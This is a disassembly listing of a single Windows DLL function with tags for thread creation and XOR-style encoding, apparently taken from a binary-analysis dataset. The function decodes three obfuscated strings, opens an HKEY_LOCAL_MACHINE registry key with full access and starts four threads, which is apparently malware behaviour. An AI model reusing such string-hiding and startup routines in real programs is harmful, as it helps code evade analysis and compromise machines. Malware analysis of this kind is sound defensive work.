Function at 0x1800043c0
Capabilities:
Create thread
Encode data using xor

Disassembly:
push rbx
push rdi
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.MSVCR90.dll__time64]
mov rcx, rax
call qword [sym.imp.MSVCR90.dll_srand]
mov edi, 4
nop dword [rax]
call qword [sym.imp.MSVCR90.dll_rand]
sub rdi, 1
jne 0x1800043e0
call qword [sym.imp.MSVCR90.dll_rand]
mov ebx, eax
imul ebx, ebx, 0x1d
call qword [sym.imp.MSVCR90.dll_rand]
add ebx, eax
mov eax, 0x431bde83
imul ebx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0xf4240
sub ebx, edx
cmp ebx, 0xf4240
jl 0x180004426
sub ebx, 0xf4240
cmp ebx, 0x186a0
jge 0x18000443b
call qword [sym.imp.MSVCR90.dll_rand]
lea ebx, [rbx + rax + 0x186a0]
mov rcx, qword [0x180008858]
or edx, 0xffffffff
mov dword [0x180008850], ebx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
or rcx, 0xffffffffffffffff
xor eax, eax
lea r8, str.12:2:749_:8_B
xor ebx, ebx
mov rdi, r8
repne scasb al, byte [rdi]
not rcx
lea rdi, [rcx - 1]
mov ecx, ebx
test edi, edi
jle 0x18000448b
mov eax, ecx
inc r8
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, cl
inc ecx
sub byte [r8 - 1], al
cmp ecx, edi
jl 0x180004472
or rcx, 0xffffffffffffffff
xor eax, eax
lea r8, str.1_:2594__8_
mov rdi, r8
repne scasb al, byte [rdi]
not rcx
lea rdi, [rcx - 1]
mov ecx, ebx
test edi, edi
jle 0x1800044c9
nop word [rax + rax]
mov eax, ecx
inc r8
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, cl
inc ecx
sub byte [r8 - 1], al
cmp ecx, edi
jl 0x1800044b0
or rcx, 0xffffffffffffffff
xor eax, eax
lea r8, str.a5355:66kyw
mov rdi, r8
repne scasb al, byte [rdi]
not rcx
lea rdi, [rcx - 1]
mov ecx, ebx
test edi, edi
jle 0x180004509
nop dword [rax + rax]
mov eax, ecx
inc r8
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, cl
inc ecx
sub byte [r8 - 1], al
cmp ecx, edi
jl 0x1800044f0
mov rcx, qword [0x180008858]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call section..text
lea rdx, [0x180008848]
mov qword [rsp + 0x20], rdx
lea rdx, [0x180008860]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call fcn.180001950
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x28], rdx
lea r8, [0x180001d90]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x180004579
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x58]
lea r8, [0x180003ca0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x1800045a9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x60]
lea r8, [0x1800020e0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x1800045d9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x68]
lea r8, [0x180002950]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x180004609
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x38
pop rdi
pop rbx
ret